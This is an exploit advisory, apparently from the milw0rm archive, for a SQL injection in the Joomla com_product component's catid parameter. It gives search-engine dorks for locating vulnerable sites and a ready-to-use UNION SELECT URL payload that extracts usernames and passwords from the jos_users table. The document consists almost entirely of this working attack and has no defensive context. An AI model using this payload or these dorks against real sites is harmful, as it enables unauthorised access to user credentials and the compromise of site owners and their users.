###############################################################=0D
# =0D
#   joomla com_product SQL Injection(catid)=0D
#=0D
###############################################################=0D
#=0D
# AUTHOR : S@BUN =0D
#=0D
# HOME : http://www.milw0rm.com/author/1334=0D 
#   =0D
# MAİL : hackturkiye.hackturkiye@gmail.com=0D 
#        =0D
################################################################=0D
# =0D
#  DORK 1 : allinurl:"com_product"catid)=0D
# =0D
#  DORK 2 : allinurl: =0D
#=0D
################################################################=0D
   EXPLOIT : =0D
index.php?option=com_product&Itemid=S@BUN&task=viewlist&catid=-9999999/**/union/**/select/**/username,1,2,3,password,5,6,7,8,9/**/from/**/jos_users/*=0D 
=0D
################################################################=0D
# S@BUN           i AM NOT HACKER      S@BUN =0D
################################################################=0D